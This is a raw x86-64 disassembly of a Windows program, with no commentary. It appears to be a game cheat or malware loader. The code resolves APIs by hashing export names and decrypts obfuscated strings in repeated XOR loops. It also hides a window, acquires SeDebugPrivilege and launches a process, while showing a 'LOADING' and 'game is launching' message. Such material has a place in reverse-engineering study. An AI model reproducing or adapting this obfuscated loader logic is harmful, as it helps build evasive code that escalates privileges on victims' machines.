je 0x1400770f3
mov r10d, dword [r11 + 0x18]
test r10d, r10d
je 0x1400770f3
mov ebx, dword [r11 + 0x20]
nop dword [rax]
dec r10d
lea rdx, [r9 + r10*4]
mov r8d, dword [rdx + rbx]
add r8, r9
mov edx, 0xa17faf9c
movzx ecx, byte [r8]
inc r8
test cl, cl
je 0x1400770ea
nop dword [rax]
nop word [rax + rax]
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [r8]
lea r8, [r8 + 1]
test cl, cl
jne 0x140076820
cmp edx, 0x985900df
jne 0x1400770ea
mov ecx, dword [r11 + 0x24]
add rcx, r9
movzx edx, word [rcx + r10*2]
mov ecx, dword [r11 + 0x1c]
add rcx, r9
mov eax, dword [rcx + rdx*4]
add rax, r9
mov ecx, 0x3e8
call rax
mov byte [rsp + 0x10d0], 0
lea rdx, [rsp + 0x890]
lea rcx, [rsp + 0x10d0]
call fcn.140079dd0
mov r8, rax
cmp word [rax + 0x9e], 0
je 0x140076a24
cmp r15d, 2
jl 0x1400769dd
mov edx, r14d
mov rcx, rax
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm10
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm9
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm9
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
pshufhw xmm0, xmm2, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm6
paddw xmm3, xmm2
movq xmm0, qword [rcx]
xorps xmm3, xmm0
movq qword [rcx], xmm3
lea eax, [rdx + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm10
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm9
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm9
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
pshufhw xmm0, xmm2, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm6
paddw xmm3, xmm2
movq xmm0, qword [rcx + 8]
xorps xmm3, xmm0
movq qword [rcx + 8], xmm3
add edx, 8
lea rcx, [rcx + 0x10]
cmp edx, 0x50
jl 0x1400768a1
jmp 0x140076a24
lea rcx, [rsp + 0xf0]
call fcn.1400299a0
nop
lea rcx, [rsp + 0x130]
call fcn.1400299a0
nop
lea rcx, [rsp + 0xa8]
call fcn.14007a590
nop
lea rcx, [rsp + 0x148]
call fcn.14000a1f0
nop
lea rcx, [rsp + 0x1b0]
call fcn.14007a320
jmp 0x14007183b
mov r10, r8
mov r9d, r14d
nop dword [rax]
nop word [rax + rax]
mov eax, 0x5397829d
imul r9d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x31
movzx eax, r9w
sub ax, cx
add ax, 0x38
xor word [r10], ax
inc r9d
lea r10, [r10 + 2]
cmp r9d, 0x50
jl 0x1400769f0
mov rdx, r8
lea rcx, [rsp + 0xd0]
call fcn.140061cc0
nop
lea rdx, [rsp + 0xd0]
mov ecx, 2
call fcn.140022a20
nop
lea rcx, [rsp + 0xd0]
call fcn.140061ca0
mov byte [rsp + 0x10d0], 0
lea rdx, [rsp + 0x500]
lea rcx, [rsp + 0x10d0]
call fcn.140079e40
mov r8, rax
cmp byte [rax + 0x2f], 0
je 0x140076bd0
cmp r15d, 2
jl 0x140076b8d
mov edx, r14d
movdqa xmmword [rsp + 0x70], xmm13
mov rcx, rax
nop word [rax + rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm10
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm9
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm9
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
andps xmm2, xmm15
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, dword [rsp + 0x70]
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm10
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm9
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm9
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm3, xmm0
andps xmm3, xmm15
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, dword [rsp + 0x70]
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x30
jl 0x140076aa0
jmp 0x140076bd0
mov r10, r8
mov r9d, r14d
nop dword [rax]
nop word [rax + rax]
mov eax, 0x5397829d
imul r9d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x31
movzx eax, r9b
sub al, cl
add al, 0x38
xor byte [r10], al
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0x30
jl 0x140076ba0
mov rdx, r8
lea rcx, [0x140662020]
call fcn.14001cf60
lea rdx, [fcn.140034d80]
mov rcx, rax
call fcn.140034d00
mov ecx, WSAStartup
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test ax, ax
jne 0x140076c1b
nop
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, WSAStartup
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test ax, ax
je 0x140076c00
mov rcx, r12
call fcn.14015d5ac
mov qword [rsp + 0x10d0], rax
mov rcx, rax
call fcn.1400053e0
mov rbx, rax
mov byte [rsp + 0x10d0], 0
lea rdx, [rsp + 0xf0]
lea rcx, [rsp + 0x10d0]
call fcn.140079e70
mov r9, rax
cmp byte [rax + 0x1b], 0
je 0x140076db0
mov r8d, r14d
cmp r15d, 2
jl 0x140076d75
movdqa xmmword [rsp + 0x70], xmm13
mov rcx, rax
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm10
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm9
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm9
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
andps xmm2, xmm15
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, dword [rsp + 0x70]
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm10
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm9
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm9
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm3, xmm0
andps xmm3, xmm15
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, dword [rsp + 0x70]
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x140076c80
cmp r8d, 0x1c
jge 0x140076db0
movsxd r10, r8d
add r10, r9
nop dword [rax + rax]
mov eax, 0x5397829d
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x31
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r10], al
inc r8d
lea r10, [r10 + 1]
cmp r8d, 0x1c
jl 0x140076d80
mov r8, r9
lea rdx, [rsp + 0x338]
mov rcx, rbx
call fcn.14005eef0
test al, al
je 0x140076f60
mov byte [rsp + 0x10d0], 0
lea rdx, [rsp + 0x500]
lea rcx, [rsp + 0x10d0]
call fcn.140079ea0
mov rcx, rax
cmp byte [rax + 0x27], 0
je 0x140076f42
cmp r15d, 2
jl 0x140076f01
mov r8d, r14d
movdqa xmmword [rsp + 0x70], xmm13
mov rdx, rax
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm10
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm9
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm9
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
andps xmm2, xmm15
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, dword [rsp + 0x70]
paddb xmm2, xmm0
movd xmm0, dword [rdx]
xorps xmm2, xmm0
movd dword [rdx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm10
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm9
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm9
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm3, xmm0
andps xmm3, xmm15
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, dword [rsp + 0x70]
paddb xmm3, xmm0
movd xmm0, dword [rdx + 4]
xorps xmm3, xmm0
movd dword [rdx + 4], xmm3
add r8d, 8
lea rdx, [rdx + 8]
cmp r8d, 0x28
jl 0x140076e10
jmp 0x140076f42
mov r10, rcx
mov r9d, r14d
nop word [rax + rax]
mov eax, 0x5397829d
imul r9d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul r8d, eax, 0x31
movzx eax, r9b
sub al, r8b
add al, 0x38
xor byte [r10], al
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0x28
jl 0x140076f10
mov rdx, rcx
lea rcx, [0x140662020]
call fcn.14001cf60
lea rdx, [fcn.140034d80]
mov rcx, rax
call fcn.140034d00
mov byte [rsp + 0x10d0], 0
lea rdx, [rsp + 0x500]
lea rcx, [rsp + 0x10d0]
call fcn.140079ed0
mov r8, rax
cmp word [rax + 0x3a], 0
je 0x140079866
cmp r15d, 2
jl 0x14007709d
mov rcx, rax
nop dword [rax + rax]
movd xmm2, r14d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm10
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm9
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm9
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
pshufhw xmm0, xmm2, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm6
paddw xmm3, xmm2
movq xmm0, qword [rcx]
xorps xmm3, xmm0
movq qword [rcx], xmm3
lea eax, [r14 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm10
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm9
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm9
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
pshufhw xmm0, xmm2, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm6
paddw xmm3, xmm2
movq xmm0, qword [rcx + 8]
xorps xmm3, xmm0
movq qword [rcx + 8], xmm3
add r14d, 8
mov eax, r14d
lea rcx, [rcx + 0x10]
cmp r14d, 0x18
jl 0x140076fa0
cmp eax, 0x1e
jge 0x140079866
movsxd rax, r14d
lea r9, [r8 + rax*2]
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x5397829d
imul r14d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x31
movzx eax, r14w
sub ax, cx
add ax, 0x38
xor word [r9], ax
inc r14d
lea r9, [r9 + 2]
cmp r14d, 0x1e
jge 0x140079866
jmp 0x1400770b0
test r10d, r10d
jne 0x1400767f0
mov rax, qword [rax]
jmp 0x1400767c0
cmp ecx, 4
jne 0x140074eef
mov rdx, qword [0x140663700]
add rdx, 0x10
movaps xmm2, xmm14
mov rcx, qword [0x140663710]
call fcn.140011510
mov edi, eax
movaps xmm2, xmm14
movaps xmm1, xmm14
lea rcx, [rsp + 0x428]
call fcn.140001c70
movaps xmm2, xmm12
movaps xmm1, xmm12
lea rcx, [rsp + 0x430]
call fcn.140001c70
movss xmm1, dword [rsp + 0x68]
subss xmm1, dword [0x1401ff328]
movss xmm2, dword [0x1401ff334]
lea rcx, [rsp + 0x6d8]
call fcn.140001c70
mov r8, rax
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x6e0]
call fcn.14006f260
mov rbx, rax
movss xmm1, dword [rsp + 0x68]
subss xmm1, dword [0x1401ff33c]
movss xmm2, dword [0x1401ff310]
lea rcx, [rsp + 0x6e8]
call fcn.140001c70
mov r8, rax
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x6f0]
call fcn.14006f260
mov rcx, qword [0x140663708]
mov dword [rsp + 0x48], r14d
movss xmm0, dword [0x1401ff2f0]
movss dword [rsp + 0x40], xmm0
mov dword [rsp + 0x38], edi
lea rdx, [rsp + 0x428]
mov qword [rsp + 0x30], rdx
lea rdx, [rsp + 0x430]
mov qword [rsp + 0x28], rdx
mov qword [rsp + 0x20], rbx
mov r9, rax
mov r8, qword [rcx + 0x90]
mov rdx, rsi
mov rcx, qword [0x140663718]
call fcn.14000a050
mov rcx, qword [0x1406636f8]
add rcx, 0x60
call fcn.1400073b0
mov rdi, rax
mov rdx, qword [0x140663700]
add rdx, 0x90
movaps xmm2, xmm14
mov rcx, qword [0x140663710]
call fcn.140011510
mov ebx, eax
mov rcx, qword [0x1406636f8]
add rcx, 0x60
call fcn.1400073b0
mov rdx, rax
movss dword [rsp + 0x20], xmm7
xor r9d, r9d
xor r8d, r8d
lea rcx, [rsp + 0x6f8]
call fcn.14003de30
movss xmm6, dword [0x1401ff344]
subss xmm6, dword [rax + 4]
mulss xmm6, xmm8
mov rcx, qword [0x1406636f8]
add rcx, 0x60
call fcn.1400073b0
mov rdx, rax
movss dword [rsp + 0x20], xmm7
xor r9d, r9d
xor r8d, r8d
lea rcx, [rsp + 0x700]
call fcn.14003de30
movss xmm0, dword [rax]
addss xmm0, dword [0x1401ff35c]
movss xmm1, dword [rsp + 0x68]
subss xmm1, xmm0
movaps xmm2, xmm6
lea rcx, [rsp + 0x708]
call fcn.140001c70
mov r8, rax
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x2f0]
call fcn.14006f260
mov rcx, qword [0x140663708]
mov r8, qword [rcx + 0xb8]
mov qword [rsp + 0x48], r14
movss dword [rsp + 0x40], xmm12
mov qword [rsp + 0x38], r14
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], ebx
mov qword [rsp + 0x20], rax
movss xmm3, dword [r8 + 0x14]
mov rdx, rsi
mov rcx, qword [0x140663718]
call fcn.140009ec0
movss xmm2, dword [0x1401ff344]
movaps xmm1, xmm12
lea rcx, [rsp + 0x438]
call fcn.140001c70
lea rdx, [rsp + 0x438]
mov rcx, qword [0x140663710]
call fcn.140011ab0
mov rax, qword [0x140663708]
movss xmm2, dword [rax + 4]
subss xmm2, dword [0x1401ff364]
movss xmm1, dword [rax]
lea rcx, [rsp + 0x440]
call fcn.140001c70
lea rdx, str.LOADING
lea rcx, [rsp + 0xf0]
call fcn.14001a3d0
movups xmm0, xmmword [rax]
movaps xmmword [rsp + 0x80], xmm0
mov dword [rsp + 0x20], r14d
xor r9d, r9d
lea r8, [rsp + 0x440]
lea rdx, [rsp + 0x80]
mov rcx, qword [0x140663710]
call fcn.140016f20
cmp byte [0x1406636e0], 0
jne 0x140074ee3
mov byte [0x1406636e0], 1
movss xmm2, dword [0x1401ff22c]
movaps xmm1, xmm8
lea rcx, [rsp + 0x10d0]
call fcn.140001c70
mov rdx, qword [0x140663700]
add rdx, 0x50
movaps xmm2, xmm14
mov rcx, qword [0x140663710]
call fcn.140011510
mov ebx, eax
lea r8, [rsp + 0x68]
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x2f0]
call fcn.14006f260
mov rcx, qword [0x140663708]
mov qword [rsp + 0x50], r14
lea rdx, [rsp + 0x10d0]
mov qword [rsp + 0x48], rdx
mov qword [rsp + 0x40], r14
mov qword [rsp + 0x38], r14
lea rdx, [0x1401f9878]
mov qword [rsp + 0x30], rdx
mov dword [rsp + 0x28], ebx
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x60]
mov r8, qword [rcx + 0xe0]
mov rdx, rsi
mov rcx, qword [0x140663718]
call fcn.140009620
movaps xmm2, xmm8
movaps xmm1, xmm8
lea rcx, [rsp + 0x10d8]
call fcn.140001c70
mov rdx, qword [0x140663700]
add rdx, 0x90
movaps xmm2, xmm14
mov rcx, qword [0x140663710]
call fcn.140011510
mov ebx, eax
lea r8, [rsp + 0x68]
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x10d0]
call fcn.14006f260
mov rcx, qword [0x140663708]
mov qword [rsp + 0x50], r14
lea rdx, [rsp + 0x10d8]
mov qword [rsp + 0x48], rdx
mov qword [rsp + 0x40], r14
mov qword [rsp + 0x38], r14
lea rdx, str.Successfully__Your_game_is_launching_now...
mov qword [rsp + 0x30], rdx
mov dword [rsp + 0x28], ebx
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x60]
mov r8, qword [rcx + 0xb0]
mov rdx, rsi
mov rcx, qword [0x140663718]
call fcn.140009620
mov byte [rsp + 0x10d0], 0
lea rdx, [rsp + 0x500]
lea rcx, [rsp + 0x10d0]
call fcn.140079f10
mov r10, rax
movdqa xmm6, xmmword [0x1401ff710]
cmp word [rax + 0x4a], 0
je 0x140077694
mov r8d, r14d
cmp r15d, 2
jl 0x140077657
mov rcx, rax
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm10
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm9
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm9
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
pshufhw xmm0, xmm2, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm6
paddw xmm3, xmm2
movq xmm0, qword [rcx]
xorps xmm3, xmm0
movq qword [rcx], xmm3
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm10
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm9
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm9
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
pshufhw xmm0, xmm2, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm6
paddw xmm3, xmm2
movq xmm0, qword [rcx + 8]
xorps xmm3, xmm0
movq qword [rcx + 8], xmm3
add r8d, 8
lea rcx, [rcx + 0x10]
cmp r8d, 0x20
jl 0x140077560
cmp r8d, 0x26
jge 0x140077694
movsxd rax, r8d
lea r9, [r10 + rax*2]
nop
mov eax, 0x5397829d
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x31
movzx eax, r8w
sub ax, cx
add ax, 0x38
xor word [r9], ax
inc r8d
lea r9, [r9 + 2]
cmp r8d, 0x26
jl 0x140077660
mov rdx, r10
lea rcx, [rsp + 0xd0]
call fcn.140061cc0
nop
lea rdx, [rsp + 0xd0]
mov ecx, 2
call fcn.140022a20
nop
lea rcx, [rsp + 0xd0]
call fcn.140061ca0
mov byte [rsp + 0x10d0], 0
lea rdx, [rsp + 0x328]
lea rcx, [rsp + 0x10d0]
call fcn.1400799f0
movzx ecx, byte [rax + 8]
test cl, cl
je 0x14007770f
xor byte [rax], 0x38
xor byte [rax + 1], 0x39
xor byte [rax + 2], 0x3a
xor byte [rax + 3], 0x3b
xor byte [rax + 4], 0x3c
xor byte [rax + 5], 0x3d
xor byte [rax + 6], 0x3e
xor byte [rax + 7], 0x3f
xor cl, 0x40
mov byte [rax + 8], cl
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
test rax, rax
je 0x14007772a
xor edx, edx
mov rcx, rax
call qword [sym.imp.USER32.dll_ShowWindow]
mov dword [rsp + 0x890], 0x68
xorps xmm0, xmm0
movups xmmword [rsp + 0x898], xmm0
movups xmmword [rsp + 0x8a8], xmm0
movups xmmword [rsp + 0x8b8], xmm0
movups xmmword [rsp + 0x8c8], xmm0
movups xmmword [rsp + 0x8d8], xmm0
movups xmmword [rsp + 0x8e8], xmm0
mov dword [rsp + 0x8cc], r12d
mov word [rsp + 0x8d0], r14w
call fcn.14006f900
mov ebx, eax
test eax, eax
je 0x1400777a7
lea rcx, str.SeDebugPrivilege
call fcn.14006fa60
test al, al
je 0x14007998b
mov ecx, ebx
call fcn.14006fb20
test al, al
je 0x14007998b
mov byte [rsp + 0x10d0], 0
lea rdx, [rsp + 0x70]
lea rcx, [rsp + 0x10d0]
call fcn.140079f60
mov r10, rax
cmp byte [rax + 0xc], 0
je 0x1400778f0
mov r8d, r14d
cmp r15d, 2
jl 0x1400778b3
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm9
movdqa xmm0, xmm10
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm9
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm1, xmm10
psubd xmm1, xmm0
andps xmm1, xmm15
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm13
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10]
xorps xmm1, xmm0
movd dword [r10], xmm1
movdqa xmm2, xmmword [0x1401ff630]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm9
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm9
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
andps xmm2, xmm15
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [r10 + 4]
xorps xmm2, xmm0
movd dword [r10 + 4], xmm2
mov r8d, 8
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x5397829d
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x31
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x1400778c0
lea rax, [rsp + 0x338]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x890]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r14
mov qword [rsp + 0x30], r14
mov dword [rsp + 0x28], r14d
mov dword [rsp + 0x20], r14d
xor r9d, r9d
xor r8d, r8d
mov rdx, r10
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x14007998b
mov edx, 0xffffffff
mov rcx, qword [rsp + 0x338]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rsp + 0x338]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x340]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [rsp + 0x10d0], 5
lea rdx, [rsp + 0x10d0]
lea rcx, [rsp + 0x10d8]
call fcn.14007b0d0
mov rcx, rax
call fcn.14007b0e0
call fcn.14006f900
test eax, eax
je 0x14007998b
mov ecx, eax
call fcn.14006fba0
call fcn.140034250
mov byte [rsp + 0x10d0], 0
lea rcx, [rsp + 0x10d0]
test al, al
je 0x140077b35
lea rdx, [rsp + 0x500]
call fcn.140079a10
mov r10, rax
cmp byte [rax + 0x24], 0
je 0x140077fe0
mov r8d, r14d
cmp r15d, 2
jl 0x140077af5
movdqa xmmword [rsp + 0x70], xmm13
mov rcx, rax
mov edx, dword [rsp + 0x70]
nop dword [rax]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm10
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm9
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm9
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
andps xmm2, xmm15
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm10
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm9
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm9
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm3, xmm0
andps xmm3, xmm15
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x140077a00
cmp r8d, 0x25
jge 0x140077fe0
movsxd r9, r8d
add r9, r10
nop dword [rax + rax]
mov eax, 0x5397829d
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x31
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x25
jl 0x140077b00
jmp 0x140077fe0
lea rdx, [rsp + 0x300]
call fcn.140079a40
mov r10, rax
cmp byte [rax + 0x22], 0
je 0x140077ca0
mov r8d, r14d
cmp r15d, 2
jl 0x140077c61
movdqa xmmword [rsp + 0x70], xmm13
mov rcx, rax
mov edx, dword [rsp + 0x70]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm10
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm9
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm9
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
andps xmm2, xmm15
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm10
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm9
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm9
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm3, xmm0
andps xmm3, xmm15
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
